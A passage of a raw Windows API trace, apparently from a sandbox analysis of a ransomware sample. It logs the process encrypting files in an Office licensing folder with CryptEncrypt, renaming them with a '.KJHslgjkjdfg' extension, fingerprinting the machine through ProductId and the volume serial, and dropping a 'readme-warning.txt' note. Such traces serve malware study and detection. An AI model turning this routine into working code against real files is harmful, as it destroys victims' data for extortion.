ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OfficeSoftwareProtectionPlatform", cAlternateFileName="OFFICE~1")) returned 1 [0170.711] GetProcessHeap () returned 0x2ef0000 [0170.711] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0xb0) returned 0x2f14588 [0170.711] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\*.*", lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x2f18288 [0170.713] GetProcessHeap () returned 0x2ef0000 [0170.713] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f14588 | out: hHeap=0x2ef0000) returned 1 [0170.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6c23c830, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0170.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x24500, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPC.DLL", cAlternateFileName="")) returned 1 [0170.714] GetProcessHeap () returned 0x2ef0000 [0170.714] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x2b2) returned 0x2f16e68 [0170.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59922e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x1be700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPCEXT.DLL", cAlternateFileName="")) returned 1 [0170.714] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x2d7e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="osppobjs-spp-plugin-manifest-signed.xrm-ms", cAlternateFileName="OSPPOB~1.XRM")) returned 1 [0170.714] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.715] GetProcessHeap () returned 0x2ef0000 [0170.715] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.715] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.715] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0170.715] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0170.717] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.717] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.717] GetProcessHeap () returned 0x2ef0000 [0170.717] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x70) returned 0x2f17128 [0170.717] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f17128*, pdwDataLen=0x4dff258*=0x70, dwBufLen=0x70 | out: pbData=0x2f17128*, pdwDataLen=0x4dff258*=0x70) returned 1 [0170.717] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.718] WriteFile (in: hFile=0xf0, lpBuffer=0x2f17128*, nNumberOfBytesToWrite=0x70, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f17128*, lpNumberOfBytesWritten=0x4dff270*=0x70, lpOverlapped=0x0) returned 1 [0170.718] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0170.718] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0170.718] WriteFile (in: hFile=0xf0, lpBuffer=0x2f149f0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f149f0*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0170.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0170.718] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0170.718] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14c70, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.718] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.718] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.718] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0x2d7e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0x2d7e, lpOverlapped=0x0) returned 1 [0170.719] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80, dwBufLen=0x2d80 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0x2d80) returned 1 [0170.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.720] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0x2d80, lpOverlapped=0x0) returned 1 [0170.720] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.720] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2e84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.720] SetEndOfFile (hFile=0xf0) returned 1 [0170.723] GetProcessHeap () returned 0x2ef0000 [0170.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f17128 | out: hHeap=0x2ef0000) returned 1 [0170.723] GetProcessHeap () returned 0x2ef0000 [0170.723] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.723] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppobjs-spp-plugin-manifest-signed.xrm-ms.kjhslgjkjdfg")) returned 1 [0170.728] CloseHandle (hObject=0xf0) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x212b00, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPOBJS.DLL", cAlternateFileName="")) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf332800, ftCreationTime.dwHighDateTime=0x1cabc8a, ftLastAccessTime.dwLowDateTime=0x59948fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf332800, ftLastWriteTime.dwHighDateTime=0x1cabc8a, nFileSizeHigh=0x0, nFileSizeLow=0x3d60, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPREARM.EXE", cAlternateFileName="OSPPRE~1.EXE")) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4b2700, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPSVC.EXE", cAlternateFileName="")) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x59995270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x23b10, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.DLL", cAlternateFileName="")) returned 1 [0170.728] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 1 [0170.728] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.728] GetProcessHeap () returned 0x2ef0000 [0170.728] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x10) returned 0x2f0ee68 [0170.728] CryptGenRandom (in: hProv=0x2f0c268, dwLen=0x10, pbBuffer=0x2f0ee68 | out: pbBuffer=0x2f0ee68) returned 1 [0170.728] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff290 | out: lpNewFilePointer=0x0) returned 1 [0170.728] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff2a0*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff2a0*, lpNumberOfBytesWritten=0x4dff270*=0x2, lpOverlapped=0x0) returned 1 [0170.731] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.731] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.731] GetProcessHeap () returned 0x2ef0000 [0170.731] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.731] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40, dwBufLen=0x40 | out: pbData=0x2f0c898*, pdwDataLen=0x4dff258*=0x40) returned 1 [0170.731] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.731] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0c898*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0c898*, lpNumberOfBytesWritten=0x4dff270*=0x40, lpOverlapped=0x0) returned 1 [0170.732] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff278*, lpNumberOfBytesWritten=0x4dff270*=0x4, lpOverlapped=0x0) returned 1 [0170.732] WriteFile (in: hFile=0xf0, lpBuffer=0x2f0ee68*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f0ee68*, lpNumberOfBytesWritten=0x4dff270*=0x10, lpOverlapped=0x0) returned 1 [0170.732] WriteFile (in: hFile=0xf0, lpBuffer=0x2f11a08*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x2f11a08*, lpNumberOfBytesWritten=0x4dff270*=0x80, lpOverlapped=0x0) returned 1 [0170.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x4dff298 | out: lpNewFilePointer=0x0) returned 1 [0170.732] WriteFile (in: hFile=0xf0, lpBuffer=0x4dff288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4dff288*, lpNumberOfBytesWritten=0x4dff270*=0x8, lpOverlapped=0x0) returned 1 [0170.732] CryptImportKey (in: hProv=0x2f0c268, pbData=0x2f14b20, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x4dff274 | out: phKey=0x4dff274*=0x2f182c8) returned 1 [0170.732] CryptSetKeyParam (hKey=0x2f182c8, dwParam=0x1, pbData=0x2f0ee68, dwFlags=0x0) returned 1 [0170.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.732] ReadFile (in: hFile=0xf0, lpBuffer=0x4bf0020, nNumberOfBytesToRead=0xba5e, lpNumberOfBytesRead=0x4dff27c, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesRead=0x4dff27c*=0xba5e, lpOverlapped=0x0) returned 1 [0170.734] CryptEncrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba60, dwBufLen=0xba60 | out: pbData=0x4bf0020*, pdwDataLen=0x4dff258*=0xba60) returned 1 [0170.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.815] WriteFile (in: hFile=0xf0, lpBuffer=0x4bf0020*, nNumberOfBytesToWrite=0xba60, lpNumberOfBytesWritten=0x4dff270, lpOverlapped=0x0 | out: lpBuffer=0x4bf0020*, lpNumberOfBytesWritten=0x4dff270*=0xba60, lpOverlapped=0x0) returned 1 [0170.816] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.816] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0xbb34, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0170.816] SetEndOfFile (hFile=0xf0) returned 1 [0170.819] GetProcessHeap () returned 0x2ef0000 [0170.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.819] GetProcessHeap () returned 0x2ef0000 [0170.819] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0ee68 | out: hHeap=0x2ef0000) returned 1 [0170.819] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPWMI.MOF.KJHslgjkjdfg" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\osppwmi.mof.kjhslgjkjdfg")) returned 1 [0170.820] CloseHandle (hObject=0xf0) returned 1 [0170.820] FindNextFileW (in: hFindFile=0x2f18288, lpFindFileData=0x4dff300 | out: lpFindFileData=0x4dff300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6c23c830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0xba5e, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OSPPWMI.MOF", cAlternateFileName="")) returned 0 [0170.820] GetProcessHeap () returned 0x2ef0000 [0170.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c898 [0170.820] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.820] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c898, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c898, pdwDataLen=0x4dff0a8) returned 1 [0170.820] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.820] GetProcessHeap () returned 0x2ef0000 [0170.820] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c8e0 [0170.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.821] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8 | out: pbData=0x2f0c8e0, pdwDataLen=0x4dff0a8) returned 1 [0170.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.821] GetProcessHeap () returned 0x2ef0000 [0170.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3c0) returned 0x2f47728 [0170.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dff040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.821] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f47728, pdwDataLen=0x4dff0a8 | out: pbData=0x2f47728, pdwDataLen=0x4dff0a8) returned 1 [0170.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.821] GetProcessHeap () returned 0x2ef0000 [0170.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x40) returned 0x2f0c928 [0170.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.821] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f0c928, pdwDataLen=0x4dfec88 | out: pbData=0x2f0c928, pdwDataLen=0x4dfec88) returned 1 [0170.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.821] GetProcessHeap () returned 0x2ef0000 [0170.821] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.821] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.821] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfec88 | out: pbData=0x2f11728, pdwDataLen=0x4dfec88) returned 1 [0170.821] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.821] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x4dfec84 | out: phkResult=0x4dfec84*=0xf0) returned 0x0 [0170.822] RegQueryValueExA (in: hKey=0xf0, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x4dfec90, lpcbData=0x4dfec8c*=0x400 | out: lpType=0x0, lpData=0x4dfec90*=0x30, lpcbData=0x4dfec8c*=0x18) returned 0x0 [0170.822] RegCloseKey (hKey=0xf0) returned 0x0 [0170.822] GetProcessHeap () returned 0x2ef0000 [0170.822] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c928 | out: hHeap=0x2ef0000) returned 1 [0170.822] GetProcessHeap () returned 0x2ef0000 [0170.822] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.822] GetProcessHeap () returned 0x2ef0000 [0170.822] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x20) returned 0x2f11728 [0170.822] CryptImportKey (in: hProv=0x2f0c268, pbData=0x4dfe9f8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x2f0c234 | out: phKey=0x2f0c234*=0x2f182c8) returned 1 [0170.822] CryptDecrypt (in: hKey=0x2f182c8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x2f11728, pdwDataLen=0x4dfea5c | out: pbData=0x2f11728, pdwDataLen=0x4dfea5c) returned 1 [0170.822] CryptDestroyKey (hKey=0x2f182c8) returned 1 [0170.822] GetEnvironmentVariableW (in: lpName="SystemDrive", lpBuffer=0x4dfea60, nSize=0x104 | out: lpBuffer="C:") returned 0x2 [0170.822] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x0, lpVolumeSerialNumber=0x4dfea58, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x4dfea58*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0170.822] GetProcessHeap () returned 0x2ef0000 [0170.822] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f11728 | out: hHeap=0x2ef0000) returned 1 [0170.823] wsprintfA (in: param_1=0x4dfeca7, param_2="-%08X" | out: param_1="-9C354B42") returned 9 [0170.823] wsprintfA (in: param_1=0x4dff0b4, param_2="%08X" | out: param_1="4B2E4630") returned 8 [0170.823] GetProcessHeap () returned 0x2ef0000 [0170.823] RtlAllocateHeap (HeapHandle=0x2ef0000, Flags=0x0, Size=0x3b4) returned 0x2f3d270 [0170.823] wsprintfW (in: param_1=0x4dfe084, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt") returned 98 [0170.823] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\readme-warning.txt" (normalized: "c:\\program files\\common files\\microsoft shared\\officesoftwareprotectionplatform\\readme-warning.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0170.824] WriteFile (in: hFile=0xf0, lpBuffer=0x2f3d270*, nNumberOfBytesToWrite=0x3b3, lpNumberOfBytesWritten=0x4dfe080, lpOverlapped=0x0 | out: lpBuffer=0x2f3d270*, lpNumberOfBytesWritten=0x4dfe080*=0x3b3, lpOverlapped=0x0) returned 1 [0170.825] CloseHandle (hObject=0xf0) returned 1 [0170.825] GetProcessHeap () returned 0x2ef0000 [0170.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f47728 | out: hHeap=0x2ef0000) returned 1 [0170.826] GetProcessHeap () returned 0x2ef0000 [0170.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f3d270 | out: hHeap=0x2ef0000) returned 1 [0170.826] GetProcessHeap () returned 0x2ef0000 [0170.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c8e0 | out: hHeap=0x2ef0000) returned 1 [0170.826] GetProcessHeap () returned 0x2ef0000 [0170.826] HeapFree (in: hHeap=0x2ef0000, dwFlags=0x0, lpMem=0x2f0c898 | out: hHeap=0x2ef0000) returned 1 [0170.826] FindClose (in: hFindFile=0x2f18288 | out: hFindFile=0x2f18288) returned 1 [0170.826] GetProcessHeap () returned 0x2ef0000 [0170.826] HeapFree (in: 